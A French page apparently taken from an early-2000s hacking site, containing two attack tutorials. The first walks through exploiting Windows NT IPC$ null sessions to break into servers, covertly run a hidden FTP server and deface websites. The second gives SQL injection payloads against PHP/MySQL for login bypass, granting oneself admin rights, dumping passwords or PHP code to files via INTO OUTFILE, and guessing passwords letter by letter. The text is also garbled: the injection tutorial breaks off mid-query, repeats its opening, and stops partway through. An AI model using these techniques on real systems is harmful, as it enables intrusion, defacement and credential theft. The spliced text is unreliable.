La Faille IPC$ (null session)

----------- La Faille IPC$ (null session) -----------
source: www.blocus-zone.com
Publié par :
Magistrat Le Aug-22-2002
Systeme vulnérable : tous systemes windows NT
Faille : IPC$

ATTENTION: Ce tutorial n'insite pas à l'augmentation d'acte de piratage, il permet simplement la comprehension, la methode des techniques utilisé par les hackers de nos jours. Le present sujet démontre comment un hacker peut penétrer un systeme, installé un client ftp ou meme defacé un site.

Description : Windows NT présente un sérieux talon d'Achille dans les protocoles CIFS/SMB et NetBIOS, qui permettent de renvoyer des informations importantes via le port 139, même à des utilisateurs non identifiés. La première étape de l'accès à distance consiste à créer une connexion non authentifiée vers un système Windows NT, en utilisant une commande de connexion nulle :

1 - Hack de serveur pour creation de Pubstro par NullSession
2 - Defacement de site par NullSession

Hack de serveur pour creation de Pubstro par NullSession
1 - Comment trouvé des serveurs possedant cette faille ?

1.1 - le plus simple est d'utiliser un scanner de failles pouvant trouver les connections IPC$

Ces logiciels sont : NetBrute ( telechargeable sur le site http://www.rawlogic.com/netview/ ) et Fluxay ( que tous le monde connait. Pour celui ci decocher dans les optiosn toutes les failles sauf IPC$) .

Ces logiciels sont très simple d'utilisation
Il suffit d'inserer une IP de cocher "Show IPC$" est de lancer le scan

Si le hacker a de la chance, il pourras voir dans la fenettre" Results "des adresses IP ainsi que des partages IPC$
Il lui suffira simplement de taper sous Dos les commande suivantes :

net use \\IP\ipc$ "" /user:prof14 ( prof14: ceux-ci est un exemple, mettez le nom de l'utilisateur trouvé )

Si le Bug est actif alors le message suivant apparaitra : " COMMANDE TERMINER NORMALEMENT"

La commande suivante permet de créer un liens reseaux avec la cible distante :

net use * \\IP\c$

Dans le poste de travail vous pourrez voir un raccourci vers l'hote distant

1.2 - Preparer votre servU en local puis uploadez les fichiers sur le serveur Hacké de preference bien caché :)
Noter bien le chemin d'acces à vos fichiers

Lancement du serveur :
- Faire un clique droit sur l'icones present dans le poste de travail puis choisir "Dos prompt"
- Faire cd le path \\ENTREE\\
- Faire un petit dir ( pour verifier )
- Faire SERVUD~1 /u \\ENTREE ( /u caché l'execution du servUDaemond du systray )

Voila le serveur est hacké il ne lui reste plus qu'a ce connecter avec ses identifiants et port

Defacement de site par NullSession

Premierement le hacker verifie si l'ip trouvé correspond bien a un site. Pour ce faire il tape http://xxx.xxx.xxx.xxx/, si une page apparait c bon.
- Il utilisera la meme methode vu dans 1.1
- Par contre il va doube cliquer sur l'icone crée dans le poste de travail et partir à la recherche de l 'index.htm .
- Normalement celui-ci ce trouve par defaut dans le repertoire c:\intepub\wwwroot\
- Il créera une page web de son choix ( en local )est l'enregistrera au meme nom de que la page web ( exemple : index.htm )
- Il retournera sur le serveur et renomera le index.htm en index2.htm puis copiera sur le serveur sa propre page.( au meme endroit)

Pour verifier si le hack s'est bien deroullé, il videra ses fichiers temporaire internet, la cahe, puis se connectera avec IE a l'adresse http://xxx.xxx.xxx.xxx/ normalement sa page devrait apparaitre.

Solution
Comment se proteger de ce type d'attaque ?

Les connexions nulles exigent un accès au port 139, et par conséquent, le moyen le plus sûr de les empêcher consiste à filtrer les ports TCP et UDP 139 liés à NetBIOS. Vous pouvez également désactiver NetBIOS sur TCP/IP sur des hôtes NT individuels.

Autres moyens :

Allez dans HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\ dans la fenettre de droite restrictanonymous mettre 1 à la valeur à la place de 0

# Posté le mercredi 14 septembre 2005 13:50

L'injection (My)SQL via PHP

L'injection (My)SQL via PHP
[target][...][target][...]P

Table des matières :

1- Introduction
2- SELECT
3- INSERT
4- UPDATE
5- Conclusion/Credit


Introduction :

Le texte qui suit va vous apprendre ce que je sais de l'injection SQL dans PHP, avec une base de donnée MySQL. Le code MySQL/PHP est inscrit en bleu et les valeurs données à des variables dans le but de faire de l'injection en rouge.
Tout ce qui est écrit ici a été mis en pratique par moi-même.
Finalement, il y a peu de cas d'injection SQL applicables avec le langage PHP, contrairement à l'ASP ou au JSP, à cause de sa configuration par défaut (on en reparlera plus tard). Mais ça arrive quand même, parfois à grande echelle, et de toute façon la théorie est assez intèressante.
Avec les nombreuses mises à jour de MySQL, il est evident qu'un tutoriel sur ce sujet ne sera jamais complet (ou du moins pas longtemps).
Rappelons que l'injection SQL consiste en changer le but premier d'une requête SQL, grâce à des variables modifiables par l'utilisateur.
Imaginons une page php permettant de rechercher un utilisateur enregistré sur le site.
La requête pourrait être quelque chose du style:


$req = "SELECT * FROM membres WHERE name LIKE '%$search%' ORDER BY name";


où $search est la variable modifiable par l'utilisateur, venant d'un formulaire post (ou autre chose) de ce type :


<form method="POST" action="<? echo $PHP_SELF; ?>">
<input type="text" name="search"><br>
<input type="submit" value="Search">
</form>


Un exemple d'injection SQL, pour afficher par exemple les membres non pas par ordre alphabetique (par 'name'), mais
bien par uid, donc par ordre d'inscription, serait de donner à $search la valeur : %' ORDER BY uid#. La requête executée serait alors transformée en :


SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name

Ce qui n'est pas la volonté originelle du script.
Je ne vais pas détailler cet exemple; ne precipitons pas trop les choses, chaque chose en son temps, tout vient à point à qui sait attendre, qui vivra verra (?) :)
Revenons au problème de la configuration PHP. Il y a dans le php.ini une ligne permettant de définir le "magic_quotes_gpc". Si cette option est sur ON, ce qui est le cas par défaut (donc pour 97% des sites php), les " et les ' vont êtres "slashés", c'est à dire qu'ils seront transformés en \" et \'.
Donc si c'était le cas dans notre premier exemple, la requête executée aurait été :


SELECT * FROM membres WHERE name LIKE '%%\' ORDER BY uid#%' ORDER BY name


Ce qui revient à chercher un nom qui contient la phrase : %' ORDER BY uid# dans la table `membres`, ce qui ne donne bien sûr aucun résultat.
C'est pourquoi dans ce tutoriel nous allons considerer que nous travaillons sur un site avec le magic_quotes_gpc sur OFF.

Les trois principaux types de requêtes executées dans des scripts PHP sont SELECT, INSERT et UPDATE.
SELECT extrait des renseignements d'une ou plusieurs tables, INSERT ajoute un enregistrement, et UPDATE modifie un enregistrement déjà créé.

SELECT :

Commencons par la plus classique, la requête SELECT, ce qui va aussi nous permettre de voir en premier le type d'injection
SQL le plus connu, le plus utilisé, et pour lequel il y a le plus à dire. SELECT est souvent utilisé dans les authentifications admins ou membres.
Imaginons donc un formulaire où on demande le mot de passe et le login. Les valeurs entrées sont renvoyées vers une requête MySQL :


$req = "SELECT uid FROM admins WHERE login='$login' AND password='$pass'";


On execute ensuite cette requête, s'il y a un résultat, c'est que le login et mot de passe existent bien et correspondent, et donc qu'on est administrateur.
A première vue, pour valider cette requête, il faut un login et un mot de passe valide.
Pour que l'expression login='$login' ou password='$pass' renvoie 'vrai', il faudrait que le login ou le mot de passe entré dans $login/$pass existe.
C'est le moment de parler des conditions qui renvoient toujours 'vrai'. On devrait plus les appeler des affirmations que des conditions dans ces cas là.
je vous ait concocté une petite liste de requêtes qui renverront toujours 'vrai' :


SELECT * FROM table WHERE 1=1
SELECT * FROM table WHERE 'uuu'='uuu'
SELECT * FROM table WHERE 1<>2
SELECT * FROM table WHERE 3>2
SELECT * FROM table WHERE 2<3
SELECT * FROM table WHERE 1
SELECT * FROM table WHERE 1+1
SELECT * FROM table WHERE 1--1
SELECT * FROM table WHERE ISNULL(NULL)
SELECT * FROM table WHERE ISNULL(COT(0))
SELECT * FROM table WHERE 1 IS NOT NULL
SELECT * FROM table WHERE NULL IS NULL
SELECT * FROM table WHERE 2 BETWEEN 1 AND 3
SELECT * FROM table WHERE 'b' BETWEEN 'a' AND 'c'
SELECT * FROM table WHERE 2 IN (0,1,2)
SELECT * FROM table WHERE CASE WHEN 1>0 THEN 1 END


Vous l'avez compris, on affirme à chaque fois une réalité sûre : 1=1 (1 égal 1... hé oui), 1 est different de 2, 3 est plus grand que 2, b se trouve entre a et c, NULL est NULL, etc... Il en existe bien sûr bien d'autres.
Cette idée d'expression qui renvoie toujours 'vrai' est un des grands principes de l'injection SQL.
En effet, si on arrive à insérer un "toujours vrai" dans la requête, inutile d'avoir un login et un mot de passe.
Par exemple en donnant à $login et $pass la valeur : ' OR 'a'='a, on executera une requête SQL du type :


SELECT uid FROM admins WHERE login='' OR 'a'='a' AND password='' OR 'a'='a'


Ce qui renverra 'vrai', puisque 'a'='a' est toujours vrai !
Ici, c'est le premier enregistrement de la table qui sera choisie, l'uid extrait sera donc '1'.
Et la plupart du temps, le premier membre/admin enregistré est le propriétaire du site, ayant donc le plus de droits.
Si on veut pouvoir choisir le compte auquel accèder, il faut avoir une information, par exemple le pseudo.
Si on veut accéder au compte de John, il suffit de rentrer comme $login "John" et comme $pass une expression renvoyant toujours 'vrai', par exemple : ' OR 'b' BETWEEN 'a' AND 'c, ce qui executera la requête :


SELECT uid FROM admins WHERE login='John' AND password='' OR 'b' BETWEEN 'a' AND 'c'




Voyons maintenant un autre grand principe de l'injection sql, qui peut être utile dans l'exemple que nous avons ici, et dans d'autres à venir : l'utilisation de caractères "commentaires".
Il y a d'abord le caractère # qui commente tout ce qui le suit (ce n'est donc plus exécuté sur la BD). Par exemple :


SELECT * FROM table WHERE nom='Jack'# commentaire


exécutera la requête :


SELECT * FROM table WHERE nom='Jack'


L'autre possibilité est d'utiliser /* et */, qui transforme en commentaires ce qui se trouve entre les 2. Par exemple :


SELECT * FROM table WHERE /* commentaires */ addresse='25 rue des roubys'


exécutera la requête :


SELECT * FROM table WHERE addresse='25 rue des roubys'


L'utilisation de ces caractères dans l'injection SQL va ici principalement nous servir à faire ignorer des parties de requête à l'execution, de façon à sauter des conditions, un peu comme la méthode 'jump' en cracking.
Revenons à notre exemple, en utilisant cette fois cette nouvelle connaissance :)
Pour arriver dans le compte de John, il suffit alors de taper comme $login : John'#, ce qui donnera la requête :


SELECT uid FROM admins WHERE login='John'#' AND password=''


et la partie ' AND password='' sera ignorée.
L'injection peut servir à beaucoup de choses, de beaucoup de manières différentes. Imaginons par exemple qu'il y ait
plusieurs niveau d'administration (appelons le champ de la table 'admin' : 'admin_level'), que le premier membre enregistré n'est qu'un modérateur et qu'on veuille avoir un compte de niveau 1.
Une injection dans ce cas serait par exemple de donner à $login la valeur : ' OR admin_level=1#, ce qui donnerait
la requête suivante :


SELECT uid FROM admins WHERE login='' OR admin_level=1#' AND password=''




Une autre façon d'utiliser le SQL pour logger un utilisateur/admin en SQL, serait non pas de vérifier directement le login
ET le mot de passe dans une requête sql, mais bien d'extraire d'abord le mot de passe en fonction du login, avec une
ligne de code comme :


$req = "SELECT password FROM admins WHERE login='$login'";


Ensuite le script verifiera si le mot de passe entré dans le formulaire est bien celui extrait de la table admins.
Encore une fois, ce système n'est pas fiable, à cause de la fonction SQL : INTO OUTFILE (ou INTO DUMPFILE).
Exemple :


SELECT * FROM table INTO OUTFILE '/complete/path/to/file.txt'


enregistrera tout le contenu de la table 'table' dans le fichier /complete/path/to/file.txt.
Donc si pour notre exemple on entre comme valeur à $login : John' INTO DUMPFILE '/path/to/site/file.txt, la requête deviendra :


SELECT password FROM admins WHERE login='John' INTO DUMPFILE '/path/to/site/file.txt'


Et le mot de passe de John sera enregistré dans le fichier http://[target]/file.txt.
Pour avoir tous les mots de passe, il faudra utiliser une expression renvoyant toujours 'vrai', par exemple en donnant à $login la valeur suivante : ' OR 1=1 INTO OUTFILE '/path/to/site/file.txt.
Il y a cependant quelques conditions à l'utilisation de INTO OUTFILE (ou INTO DUMPFILE) :
- Il faut indiquer le chemin complet du fichier dans lequel enregistrer le résultat
- Le fichier ne peut pas déjà exister (ce qui empêchera de remplacer des fichiers comme /etc/passwd)
- On doit avoir les privilèges de la gestion de fichiers
Il y a aussi une différence entre OUTFILE et DUMPFILE, c'est que si la requête extrait plusieurs colonnes, elles seront clairement séparées en plusieurs colonnes dans le fichier avec OUTFILE, et avec DUMPFILE elles seront toutes dans une seule colonne.
Note : le fichier créé sera étidable par tous.

Cette option INTO OUTFILE peut encore aller un peu plus loin. Imaginons que nous avons un compte nommé 'frog' sur le site ayant ce type de requête. Nous pouvons donc changer nous même le mot de passe. Si on y mets un code PHP, puis qu'on tape dans le formulaire, comme $login : frog' INTO OUTFILE '/path/to/site/file.php .
Cela aurait comme effet de noter notre code PHP dans un fichier PHP, que l'on pourrais ensuite exécuter !
Je rappelle que, comme mes autres exemples, ce ne sont que des exemples, il y a donc bien d'autres possibilités (ici ça aurait pu être du code dans un message, dans le profile,...).
On pourrait aussi utiliser cette fonction pour saturer le disque dur, mais ça peut directement prendre plus de temps :)

L'injection SQL dans la requête de type SELECT peut aussi nous permettre de faire des recherches un peu spéciales, entre autre grâce au 'LIKE'.
Je vais reprendre, pour expliquer ce point, la requête de départ (à part un changement de table) :


$req = "SELECT uid FROM membres WHERE login='$login' AND password='$pass'";


mais je tiens à dire encore une fois que j'aurais pu prendre pleins d'autres exemples, entre autre la requête montrée dans l'intro (que vous devriez comprendre completement après cette partie, si ce n'était pas le cas avant).
D'abord un peu de théorie purement SQL (sans l'injection :)) :


SELECT * FROM table WHERE msg LIKE '%hop'


va extraire tout les éléments de la table 'table', où le champ 'msg' termine part 'hop'.


SELECT * FROM table WHERE msg LIKE 'hop%'


va extraire tout les éléments de la table 'table', où le champ 'msg' commence part 'hop'.


SELECT * FROM table WHERE msg LIKE '%hop%'


va extraire tout les éléments de la table 'table', où le champ 'msg' contient 'hop'.


SELECT * FROM table WHERE msg LIKE 'h%p'


va extraire tout les éléments de la table 'table', où le champ 'msg' commence par h et termine part p.


SELECT * FROM table WHERE msg LIKE 'h_p'


va extraire tout les éléments de la table 'table', où le champ 'msg' commence par h et termine part p, et contient
un seul caractère à l'endroit du _.
Passons maintenant à l'injection. Le LIKE peut nous permettre de 'brute forcer' des informations de la base de donnée.
Par exemple, si nous voulons savoir si la première lettre du mot de passe de l'utilisateur Bob, on pourrait (entre autre) donner comme valeur à $login : Bob' AND password LIKE 'a%'#, ce qui donnerai la requête :


SELECT uid FROM membres WHERE login='Bob' AND password LIKE 'a%'#' AND password=''


Si on rentre dans le compte de Bob, c'est que son mot de passe commence bien par a. Sinon, il nous suffit de tenter une autre première lettre... puis quand elle sera trouvée, de recommencer avec la deuxième, la troisième, la quatrième lettre etc...
L'injection SQL est parfois plus facile si elle est appliquée en deux temps, grâce à l'utilisation de ses connaissances SQL. Car la connaissance de l'injection SQL commence avec la connaissance du langage SQL !
Par exemple, un problème qui se pose si on veut effectuer ce brute force, c'est qu'on ne sait pas la longueur du mot de passe à cracker. On peut donc être arrivé au bout du mot de passe que le programme continuera à le chercher.
Pour ça une solution est de faire un premier test avec la fonction LENGTH().
Si on donne comme valeur à $login : Bob' AND LENGTH(password)=6#, on obtiendra la requête :


SELECT uid FROM membres WHERE login='Bob' AND LENGTH(password)=6#' AND password=''


Si le mot de passe de Bob est long de 6 caractères, on se retrouvera dans son compte.

Reprenons la requête de l'intro :


$req = "SELECT email, website FROM membres WHERE name LIKE '%$search%' ORDER BY name";


pour parler un peu du ORDER BY. Son utilité n'est pas extraordinaire, mais il faut quand même en parler.
Cette requête donc permet d'extraire les informations des utilisateurs dont le pseudo contient la valeur de $search.
J'ai legerement modifié la requête de début pour qu'on ne puisse pas utiliser très efficacement le INTO OUTFILE.
Dans l'intro j'ai évoqué l'idée de mettre comme valeur à $search : %' ORDER BY uid# ce qui donne la requête :


SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name


et nous affiche tout les membres classés par ordre d'inscription. Cela pourrait être utile pour repérer l'administrateur, qui est sûrement le premier inscrit.
Il est parfois possible de les classer par niveau de modération (s'il y a un champ type user_level), par mot de passe, en donnant à $search la valeur : %' ORDER BY password#, par longueur de mot de passe (%' ORDER BY LENGTH(password)#), etc...
C'est d'autant plus interessant pour faire des comparaisons, c'est-à-dire dans ce cas-ci, si on peut nous même nous inscrire en tant que membre, et connaissant notre mot de passe, on peut le comparer grâce à sa place aux mots de passe des autres.
Dans certains scripts, c'est plus simple, la requête est de type :


$req = "SELECT email, website FROM membres WHERE name LIKE '%$search%' ORDER BY $orderby";


(comme dans PHP-Nuke) il suffit alors de changer le $orderby.
Note : ORDER BY *** affiche le résultat classé par champ *** dans l'ordre croissant (0->9, a->z,...). Si on place le mot 'DESC' à la fin de la requête ([...] ORDER BY champ DESC), ça sera dans l'ordre décroissant.



INSERT :

Voyons maintenant les injections SQL liées à la requête INSERT, qui permet donc d'ajouter de nouveaux enregistrements à une table. L'utilisation utile d'injection SQL dans une requête INSERT est plus rare, mais existe néanmoins.
Si on prend l'exemple de l'inscription d'un membre, ce qui est le plus courrant, on peut imaginer d'abord une table créée de cette façon :


CREATE TABLE membres (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)


Il y a donc dans cette table un id utilisateur, comme clef primaire qui s'auto incrémente, le login, mot de passe, nom, email et le niveau de l'utilisateur (1=user, 2=moderateur,3=admin).
Une requête pour créer un compte dans un service PHP, serait par exemple :


$query1 = "INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$pass','$nom','$email','1')";


Quatre variables sont modifiables ici, donc quatre possibilités d'injection.
Prenons pour l'exemple la plus simple, la variable $email. Si on lui donne comme valeur : ','3')# , la requête deviendra :


INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('','','','','3')#','1')


et le nouveau membre créé aura le statut admin (la partie après # étant ignorée).
Si on avait voulu utiliser la variable $nom, il aurait fallut mettre ','','3')#, pour $pass ','','','3')# etc...
Ceci n'est pas la seule façon d'utiliser INSERT; il y en a deux autres.
Mais voyons-les plutôt si la table avait été créée de cette façon :


CREATE TABLE membres (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint default '1',
PRIMARY KEY (id)
)


Le changement est qu'userlevel a une valeur par défaut : 1 (utilisateur). Il est en effet logique que, lorsqu'on s'inscrive, on soit automatiquement utilisateur et non pas modérateur, les droits étant donnés par l'administrateur.
Il y a alors peu de chances de retomber sur une requête INSERT comme vue avant, où l'userlevel est indiqué.
Voici le genre de requête INSERT sur lequel on risque de tomber :


$query2 = "INSERT INTO membres SET login='$login',password='$pass',nom='$nom',email='$email'";


Pour modifier son niveau d'utilisateur, il suffira d'entrer dans une des quatre variables la valeur suivante :
',userlevel='3 ce qui donnera comme requête, si par exemple on attribue cette valeur à $nom, deviendra :


INSERT INTO membres SET login='',password='',nom='',userlevel='3',email=''


Et le nouvel utilisateur sera créé avec des droits administrateurs.

Imaginons maintenant que l'id soit un chaîne de caractères créée aléatoirement. La création de la table se ferait alors de la sorte :


CREATE TABLE membres (
id varchar(15) NOT NULL default '',
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)


La requête SQL pourrait alors être du type :


$query3 = "INSERT INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')";


Et l'injection SQL du même type que pour la première requête. On peut par exemple donner à la variable $email la valeur :
a@a.a','3')#, ce qui donnerait le droit administrateur à l'utilisateur créé, avec la requête :


INSERT INTO membres VALUES ('[ID]P

Table des matières :

1- Introduction
2- SELECT
3- INSERT
4- UPDATE
5- Conclusion/Credit


Introduction :

Le texte qui suit va vous apprendre ce que je sais de l'injection SQL dans PHP, avec une base de donnée MySQL. Le code MySQL/PHP est inscrit en bleu et les valeurs données à des variables dans le but de faire de l'injection en rouge.
Tout ce qui est écrit ici a été mis en pratique par moi-même.
Finalement, il y a peu de cas d'injection SQL applicables avec le langage PHP, contrairement à l'ASP ou au JSP, à cause de sa configuration par défaut (on en reparlera plus tard). Mais ça arrive quand même, parfois à grande echelle, et de toute façon la théorie est assez intèressante.
Avec les nombreuses mises à jour de MySQL, il est evident qu'un tutoriel sur ce sujet ne sera jamais complet (ou du moins pas longtemps).
Rappelons que l'injection SQL consiste en changer le but premier d'une requête SQL, grâce à des variables modifiables par l'utilisateur.
Imaginons une page php permettant de rechercher un utilisateur enregistré sur le site.
La requête pourrait être quelque chose du style:


$req = "SELECT * FROM membres WHERE name LIKE '%$search%' ORDER BY name";


où $search est la variable modifiable par l'utilisateur, venant d'un formulaire post (ou autre chose) de ce type :


<form method="POST" action="<? echo $PHP_SELF; ?>">
<input type="text" name="search"><br>
<input type="submit" value="Search">
</form>


Un exemple d'injection SQL, pour afficher par exemple les membres non pas par ordre alphabetique (par 'name'), mais
bien par uid, donc par ordre d'inscription, serait de donner à $search la valeur : %' ORDER BY uid#. La requête executée serait alors transformée en :


SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name

Ce qui n'est pas la volonté originelle du script.
Je ne vais pas détailler cet exemple; ne precipitons pas trop les choses, chaque chose en son temps, tout vient à point à qui sait attendre, qui vivra verra (?) :)
Revenons au problème de la configuration PHP. Il y a dans le php.ini une ligne permettant de définir le "magic_quotes_gpc". Si cette option est sur ON, ce qui est le cas par défaut (donc pour 97% des sites php), les " et les ' vont êtres "slashés", c'est à dire qu'ils seront transformés en \" et \'.
Donc si c'était le cas dans notre premier exemple, la requête executée aurait été :


SELECT * FROM membres WHERE name LIKE '%%\' ORDER BY uid#%' ORDER BY name


Ce qui revient à chercher un nom qui contient la phrase : %' ORDER BY uid# dans la table `membres`, ce qui ne donne bien sûr aucun résultat.
C'est pourquoi dans ce tutoriel nous allons considerer que nous travaillons sur un site avec le magic_quotes_gpc sur OFF.

Les trois principaux types de requêtes executées dans des scripts PHP sont SELECT, INSERT et UPDATE.
SELECT extrait des renseignements d'une ou plusieurs tables, INSERT ajoute un enregistrement, et UPDATE modifie un enregistrement déjà créé.

SELECT :

Commencons par la plus classique, la requête SELECT, ce qui va aussi nous permettre de voir en premier le type d'injection
SQL le plus connu, le plus utilisé, et pour lequel il y a le plus à dire. SELECT est souvent utilisé dans les authentifications admins ou membres.
Imaginons donc un formulaire où on demande le mot de passe et le login. Les valeurs entrées sont renvoyées vers une requête MySQL :


$req = "SELECT uid FROM admins WHERE login='$login' AND password='$pass'";


On execute ensuite cette requête, s'il y a un résultat, c'est que le login et mot de passe existent bien et correspondent, et donc qu'on est administrateur.
A première vue, pour valider cette requête, il faut un login et un mot de passe valide.
Pour que l'expression login='$login' ou password='$pass' renvoie 'vrai', il faudrait que le login ou le mot de passe entré dans $login/$pass existe.
C'est le moment de parler des conditions qui renvoient toujours 'vrai'. On devrait plus les appeler des affirmations que des conditions dans ces cas là.
je vous ait concocté une petite liste de requêtes qui renverront toujours 'vrai' :


SELECT * FROM table WHERE 1=1
SELECT * FROM table WHERE 'uuu'='uuu'
SELECT * FROM table WHERE 1<>2
SELECT * FROM table WHERE 3>2
SELECT * FROM table WHERE 2<3
SELECT * FROM table WHERE 1
SELECT * FROM table WHERE 1+1
SELECT * FROM table WHERE 1--1
SELECT * FROM table WHERE ISNULL(NULL)
SELECT * FROM table WHERE ISNULL(COT(0))
SELECT * FROM table WHERE 1 IS NOT NULL
SELECT * FROM table WHERE NULL IS NULL
SELECT * FROM table WHERE 2 BETWEEN 1 AND 3
SELECT * FROM table WHERE 'b' BETWEEN 'a' AND 'c'
SELECT * FROM table WHERE 2 IN (0,1,2)
SELECT * FROM table WHERE CASE WHEN 1>0 THEN 1 END


Vous l'avez compris, on affirme à chaque fois une réalité sûre : 1=1 (1 égal 1... hé oui), 1 est different de 2, 3 est plus grand que 2, b se trouve entre a et c, NULL est NULL, etc... Il en existe bien sûr bien d'autres.
Cette idée d'expression qui renvoie toujours 'vrai' est un des grands principes de l'injection SQL.
En effet, si on arrive à insérer un "toujours vrai" dans la requête, inutile d'avoir un login et un mot de passe.
Par exemple en donnant à $login et $pass la valeur : ' OR 'a'='a, on executera une requête SQL du type :


SELECT uid FROM admins WHERE login='' OR 'a'='a' AND password='' OR 'a'='a'


Ce qui renverra 'vrai', puisque 'a'='a' est toujours vrai !
Ici, c'est le premier enregistrement de la table qui sera choisie, l'uid extrait sera donc '1'.
Et la plupart du temps, le premier membre/admin enregistré est le propriétaire du site, ayant donc le plus de droits.
Si on veut pouvoir choisir le compte auquel accèder, il faut avoir une information, par exemple le pseudo.
Si on veut accéder au compte de John, il suffit de rentrer comme $login "John" et comme $pass une expression renvoyant toujours 'vrai', par exemple : ' OR 'b' BETWEEN 'a' AND 'c, ce qui executera la requête :


SELECT uid FROM admins WHERE login='John' AND password='' OR 'b' BETWEEN 'a' AND 'c'




Voyons maintenant un autre grand principe de l'injection sql, qui peut être utile dans l'exemple que nous avons ici, et dans d'autres à venir : l'utilisation de caractères "commentaires".
Il y a d'abord le caractère # qui commente tout ce qui le suit (ce n'est donc plus exécuté sur la BD). Par exemple :


SELECT * FROM table WHERE nom='Jack'# commentaire


exécutera la requête :


SELECT * FROM table WHERE nom='Jack'


L'autre possibilité est d'utiliser /* et */, qui transforme en commentaires ce qui se trouve entre les 2. Par exemple :


SELECT * FROM table WHERE /* commentaires */ addresse='25 rue des roubys'


exécutera la requête :


SELECT * FROM table WHERE addresse='25 rue des roubys'


L'utilisation de ces caractères dans l'injection SQL va ici principalement nous servir à faire ignorer des parties de requête à l'execution, de façon à sauter des conditions, un peu comme la méthode 'jump' en cracking.
Revenons à notre exemple, en utilisant cette fois cette nouvelle connaissance :)
Pour arriver dans le compte de John, il suffit alors de taper comme $login : John'#, ce qui donnera la requête :


SELECT uid FROM admins WHERE login='John'#' AND password=''


et la partie ' AND password='' sera ignorée.
L'injection peut servir à beaucoup de choses, de beaucoup de manières différentes. Imaginons par exemple qu'il y ait
plusieurs niveau d'administration (appelons le champ de la table 'admin' : 'admin_level'), que le premier membre enregistré n'est qu'un modérateur et qu'on veuille avoir un compte de niveau 1.
Une injection dans ce cas serait par exemple de donner à $login la valeur : ' OR admin_level=1#, ce qui donnerait
la requête suivante :


SELECT uid FROM admins WHERE login='' OR admin_level=1#' AND password=''




Une autre façon d'utiliser le SQL pour logger un utilisateur/admin en SQL, serait non pas de vérifier directement le login
ET le mot de passe dans une requête sql, mais bien d'extraire d'abord le mot de passe en fonction du login, avec une
ligne de code comme :


$req = "SELECT password FROM admins WHERE login='$login'";


Ensuite le script verifiera si le mot de passe entré dans le formulaire est bien celui extrait de la table admins.
Encore une fois, ce système n'est pas fiable, à cause de la fonction SQL : INTO OUTFILE (ou INTO DUMPFILE).
Exemple :


SELECT * FROM table INTO OUTFILE '/complete/path/to/file.txt'


enregistrera tout le contenu de la table 'table' dans le fichier /complete/path/to/file.txt.
Donc si pour notre exemple on entre comme valeur à $login : John' INTO DUMPFILE '/path/to/site/file.txt, la requête deviendra :


SELECT password FROM admins WHERE login='John' INTO DUMPFILE '/path/to/site/file.txt'


Et le mot de passe de John sera enregistré dans le fichier http://[target]/file.txt.
Pour avoir tous les mots de passe, il faudra utiliser une expression renvoyant toujours 'vrai', par exemple en donnant à $login la valeur suivante : ' OR 1=1 INTO OUTFILE '/path/to/site/file.txt.
Il y a cependant quelques conditions à l'utilisation de INTO OUTFILE (ou INTO DUMPFILE) :
- Il faut indiquer le chemin complet du fichier dans lequel enregistrer le résultat
- Le fichier ne peut pas déjà exister (ce qui empêchera de remplacer des fichiers comme /etc/passwd)
- On doit avoir les privilèges de la gestion de fichiers
Il y a aussi une différence entre OUTFILE et DUMPFILE, c'est que si la requête extrait plusieurs colonnes, elles seront clairement séparées en plusieurs colonnes dans le fichier avec OUTFILE, et avec DUMPFILE elles seront toutes dans une seule colonne.
Note : le fichier créé sera étidable par tous.

Cette option INTO OUTFILE peut encore aller un peu plus loin. Imaginons que nous avons un compte nommé 'frog' sur le site ayant ce type de requête. Nous pouvons donc changer nous même le mot de passe. Si on y mets un code PHP, puis qu'on tape dans le formulaire, comme $login : frog' INTO OUTFILE '/path/to/site/file.php .
Cela aurait comme effet de noter notre code PHP dans un fichier PHP, que l'on pourrais ensuite exécuter !
Je rappelle que, comme mes autres exemples, ce ne sont que des exemples, il y a donc bien d'autres possibilités (ici ça aurait pu être du code dans un message, dans le profile,...).
On pourrait aussi utiliser cette fonction pour saturer le disque dur, mais ça peut directement prendre plus de temps :)

L'injection SQL dans la requête de type SELECT peut aussi nous permettre de faire des recherches un peu spéciales, entre autre grâce au 'LIKE'.
Je vais reprendre, pour expliquer ce point, la requête de départ (à part un changement de table) :


$req = "SELECT uid FROM membres WHERE login='$login' AND password='$pass'";


mais je tiens à dire encore une fois que j'aurais pu prendre pleins d'autres exemples, entre autre la requête montrée dans l'intro (que vous devriez comprendre completement après cette partie, si ce n'était pas le cas avant).
D'abord un peu de théorie purement SQL (sans l'injection :)) :


SELECT * FROM table WHERE msg LIKE '%hop'


va extraire tout les éléments de la table 'table', où le champ 'msg' termine part 'hop'.


SELECT * FROM table WHERE msg LIKE 'hop%'


va extraire tout les éléments de la table 'table', où le champ 'msg' commence part 'hop'.


SELECT * FROM table WHERE msg LIKE '%hop%'


va extraire tout les éléments de la table 'table', où le champ 'msg' contient 'hop'.


SELECT * FROM table WHERE msg LIKE 'h%p'


va extraire tout les éléments de la table 'table', où le champ 'msg' commence par h et termine part p.


SELECT * FROM table WHERE msg LIKE 'h_p'


va extraire tout les éléments de la table 'table', où le champ 'msg' commence par h et termine part p, et contient
un seul caractère à l'endroit du _.
Passons maintenant à l'injection. Le LIKE peut nous permettre de 'brute forcer' des informations de la base de donnée.
Par exemple, si nous voulons savoir si la première lettre du mot de passe de l'utilisateur Bob, on pourrait (entre autre) donner comme valeur à $login : Bob' AND password LIKE 'a%'#, ce qui donnerai la requête :


SELECT uid FROM membres WHERE login='Bob' AND password LIKE 'a%'#' AND password=''


Si on rentre dans le compte de Bob, c'est que son mot de passe commence bien par a. Sinon, il nous suffit de tenter une autre première lettre... puis quand elle sera trouvée, de recommencer avec la deuxième, la troisième, la quatrième lettre etc...
